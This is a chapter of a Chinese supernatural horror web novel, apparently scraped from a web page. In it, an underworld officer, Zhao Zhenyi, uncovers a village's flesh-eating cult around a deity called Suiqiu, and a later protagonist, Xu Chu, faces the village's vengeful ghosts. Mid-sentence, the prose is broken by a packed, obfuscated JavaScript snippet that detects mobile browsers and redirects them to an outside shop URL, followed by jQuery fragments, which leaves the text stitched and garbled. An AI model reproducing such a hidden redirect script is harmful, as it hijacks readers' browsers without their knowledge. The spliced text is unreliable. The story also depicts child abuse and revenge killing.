6. 见神

作品:《阴吏

    二丫歪着脑袋,一眨不眨的盯着他看。等了好一会儿,都没等到想要的回应。


    她有些急了,声音带着颤抖:“我很乖的,我会劈柴烧饭,会洗衣种地……”


    像是怕赵真仪看到她着不为人知的一面,嫌弃她,不再管她,她一股脑地数着自己的作用。


    赵真仪瞧见二丫攥紧衣角的手,逐渐泛起红,终是软了神色。


    他抽出随身携带的方帕,轻轻擦拭她脸上的脏污,底下白净的笑脸逐渐露出。随后又将她的小手牵出来仔细擦拭,待擦完,那方帕早已被黑水染的乌黑。


    赵真仪将帕子丢掷一旁,目光转向身侧三具躯壳:“这些是你什么人?”


    二丫伸手指了指:“这是爹,这是娘,这是兄长。”


    赵真仪顺着躯壳瞥了一眼,又顺着线望向上方牵的魂。


    此时那三人的魂魄正对着二丫怒骂,言辞不堪入耳。


    赵真仪嫌吵,抬手给三个魂下了个禁言咒,这才收回视线:“你为什么要捅他们?”


    二丫低下头,小声道:“二丫……不喜欢他们。他们总割我的肉,二丫痛。”


    赵真仪想起第一次见到二丫时,她胳膊上一层盖一层的疤痕。心里已经推测到了七八分,却还是忍不住问:“总割?多久割一次?割哪里?”


    二丫点了点下巴,语气平静的说:“每日都割,哪里都割。”


    赵真仪的心直直沉到了低,暗骂了一句畜生。


    二丫见他又不说话了,不安的蹙起眉头:“二丫做错了吗?”


    赵真仪揉了揉她的发顶:有仇报仇,有冤报冤,二丫做的很对。”


    许初在二丫身体里翻了个白眼,净教些不好的。


    赵真仪,自然而然的牵着二丫准备离开这里。而下一刻,他便隐隐觉得不对,双指探上二丫的眉心。


    二丫疑惑的歪着小脑袋,眼里全是茫然。


    赵真仪缓缓收回手,神色凝重的将二丫牵至一处干净的空地。


    随后蹲下身,双手放在二丫的肩膀上,平视着:“除了你,还有别人被割肉吃吗?”


    二丫嘟哝着:“嗯……每家都吃。”


    赵真仪声音放得很轻:“为什么要割肉吃?”


    二丫揪着自己的衣角:“大家都很饿,要吃肉……罗大仙说穗秋神也要吃肉。”


    “穗秋神?”赵真仪眸光一沉,转而又问:“在哪里?”


    二丫感觉肩膀上的力道渐重,皱了皱眉:“……每家都有,我家也有。”


    赵真仪这才反应过来,松了手上的力:“带我去你家看看好吗?”


    二丫乖巧头:“好。”


    赵真仪牵着二丫走进那间破旧的泥屋。


    一进门,左侧赫然摆着一张红木供桌,桌上立着一座诡异的木雕像,供盘里还有干涸的血渍。


    赵真仪脸色骤寒,罕见的出现厉色,他抽出佩剑,干净利落的直刺木雕胸口。


    那木雕竟像活物一般发出数道尖锐嘶鸣,眼眶中淌下两道血泪。倏然,剑尖没入的地方开始龟裂,裂纹眨眼间遍布整个木雕。


    只听“碰”的一声,木雕便炸开成数个残块。


    二丫看着碎裂的木雕,只觉心口一阵绞痛,她“啊——!”了一声,捂着胸口,呼吸渐渐困难。


    赵真仪立即上前扶住二丫摇摇欲坠的小身板,双指把上她的脉搏。


    待仔细查看二丫的状况后,他怒骂了一句:“竟然给你下了印。”


    许初此刻虽说看不到二丫是个什么情况,但从赵真仪铁青的脸色判断,二丫恐怕跟那座雕像有着某种联系。


    此刻,木像碎了,她便遭到了反噬。


    很快,二丫便双目血红一片,浓稠的黑气自她的胸口迸发而出。


    许初倒是能感觉到二丫身体的昏沉和意识混乱,脑中像是有很多诡异的、忽远忽近的声音在鬼哭狼嚎。


    突然,那数道声音像是找到了出口,从二丫的嘴中发出。


    声音逐渐化作实质的力量,将赵真仪猛地轰出屋外。待他折回来的时候,二丫身上的黑气已如脱缰的野马一般窜了出去。


    赵真仪贴了个符在二丫额头,下一刻便追着黑气,疾驰而去。


    待他走了一盏茶,二丫便挣扎着起了身,她像是被什么驱使着,撕了额头上的符。


    浑浑噩噩地踉跄着走,这一路,她都沿途攥着那些躯壳上的细线,走村头时,她手中已经攥满了线。


    许初清晰地听见,二丫的脑海中始终回响着一个蛊惑的声音:“你不是恨他们吗?将他们带给我。”


    最后,二丫将细线紧紧拧成了一股,打了个死结,随后在这寂静的夜里,发出令人毛骨悚然的咯咯笑声。


    “都该死,都去死,你们都别想逃走!”


    许初也不知道二丫在对谁说话,只见她胸口那个印记在此刻爆发出刺眼的红光。待红光散去,空中的魂魄已经消失不见,而二丫像是被抽干了所有力气,软了身子倒在地上。


    后面的事,随着二丫陷入昏暗,许初的感知也变得模糊。


    待她重新恢复意识,已是白日。她下意识眯了眯眼,抬手遮了遮光,这才发现有了身体的控制权,她低下头一看,惊觉已经从幻境中回来了。


    许初环顾四周,自己仍站在村头,就在她原先的位置。


    现在再看这个村落,竟觉得每一寸土地都无比熟悉,就好像她真的是二丫,真切的在这里生活过。


    也不知道那诡异的红光、消失的魂魄,以及赵真仪最后追的那缕黑气究竟是什么?


    槐树下的老妪这会儿正直勾勾盯着许初,干裂的嘴唇不停颤动:“回来了……终于回来了……”


    许初弯下腰,温和地笑问:“婆婆,什么回来了?”


    看见她的笑,老妪浑浊的瞳孔一缩,猛地抖动着身子:“索命来了……又来索命了……”


    许初听的云里雾里,几番询问下,老妪却只是反复念叨着“回来了”和“索命来了”,始终问不出个所以然。


    她便不想在这耽搁,正要转身往村子里去,突然被死死抓住了手腕。


    许初又回过头,只见那双布满皱纹的手紧紧禁锢在她手腕上。老妪的指甲缝里嵌着污黑的泥垢,还沾着些暗红的血痂。


    而让许初惊讶的是,老妪的力气大的离谱,让她一时抽不出手。她自许平日里虽偶尔懈怠练功,但修行至今,她的力气尚可一拳碎石,怎么会连一个孱弱老妪的钳制都挣不脱?


    手腕被捏的生疼,像是要把她折断。


    许初轻蹙着眉心,却仍保持着笑:“怎么了婆婆,还有什么事吗?”


    老妪嘶哑着嗓子,目光沉沉:“你不许走,放我出去……”


    许初诧异地指了指自己:“我?”


    老妪的神情变得癫狂,她说着话便张牙舞爪的扑上来:“就是你,放我出去!”


    许初另一只空的手扯出一张符,精准定在老妪的眉心,这才得以逃出禁锢。


    下一刻,她便足尖轻点后撤几步,眼瞧着老妪双目浸满血红,枯瘦的身躯剧烈颤抖,像是要挣开符的限制,只不过在符的限制下,老妪怎么也挪不动半步。


    这是那种极


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|17011056|194134||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    凶的厉鬼。


    许初又打出几张符分别定在鬼魂的各个关窍之处,随后嘴中念出咒,先将鬼魂身上的阴气驱散,而后地下出现两根巨大的黑色锁链,将鬼魂紧紧捆住,最后拖进地里。


    这是度进去了。


    她没敢在这里逗留,凭借先前看见的幻象,缓步前进。


    沿途还能见着不少先前幻象里的村民,只不过此刻全部化作凶神恶煞的鬼魂,双目赤红着注视着她,那些阴冷的视线随着她的脚步移动,下一秒就要扑来。


    许初一边躲一边丢符,只是度化了几个之后就有些吃不消,于是它将这些村民都定在原地,待等会儿恢复点道法了再来度。


    她一路往前,没见着其他阴吏,心里越发不安。


    直到熟悉的破旧泥屋,许初停下了脚步,她侧过头望了过去。院门与正门都敞开着,刘春明正倚着木门,朝她招着手。


    许初疑惑的紧,这里的鬼魂几乎都是极凶极阴的。


    刘春明身上却一点阴气的感觉都没有,难不成刘春明还能隐藏自己的阴气??


    许初一阵后怕,看着刘春明咧开的嘴角,她紧了紧手中的符纸,深吸了一口气,在心里暗暗给自己打气,这才迈着步子走过去。


    “回来了?”刘春明微抬下巴,朝许初眯了眯眼。


    这话听的许初摸不着头,她警惕着,试探性的回了个单字:“嗯。”


    刘春明自顾自的笑着,一手拍上许初的后背,她的手很冷,没有温度。


    “回来就好,回来就好。”刘春明说着,就将许初推着进了屋。


    她推的力道也很大,许初几乎是被推着走进去的。


    虽然外面的温度已经够阴冷了,可这屋子就宛若进了冰窖一般,饶是身体强健的许初,也不由得打起了冷战。


    就在许初和刘春明相继进屋的瞬间,身后的门便兀自阖上。


    许初下意识的回头望去,而同时,她背上的力道骤然消失,望去的时候身后刘春明不见了。


    许初瞬间脸色傻白。


    她被关起来了。


    这个泥屋的正厅并没有窗户,此时门关上,便黑压压的。


    但许初总觉得自己被什么阴冷的视线盯着。


    她转身看向供桌的方向,本来应该被毁掉的木像居然完好的摆在这里,香炉里还燃着三柱香。


    那是这个厅堂唯一的光,火光照着木像的脸更显扭曲诡异。


    而这一看,许初便察觉不对,她似乎动不了了。


    浑身上下都被无形的禁锢定在这里,更糟的是,她感到背后有什么湿冷的东西攀上她的肩头,随后便只觉喉咙被人轻轻握住。


    “你以为,有阴吏的庇护,我就拿你没办法了吗?”许初听见一个女人的声音,在她耳边吹着冷气。


    “穗秋神?”许初下意识的问。


    “当初可是你求我的,用完就想摆脱我?未免太无情了。”穗秋神的声音如鬼魅,忽远忽近,听的许初越发疑惑。


    许初:“什么意思?我什么时候求过你?”


    穗秋神:“……嗯?”


    下一刻,许初就看见面前站着一个黑影,它没有任何无关或者是身体部位,就只是一个黑影。


    它用黑漆漆的手按上许初的胸口,猛地,她的胸口发出刺目的红光。


    几乎是同时,许初便直感胸口发烫,头痛欲裂。


    许初额头沁出了细汗:“你……在干什么?”


    穗秋神笑出了冷音:“睡一觉吧,睡一觉吧我的孩子。”


    这话如同咒语,许初当即失去意识。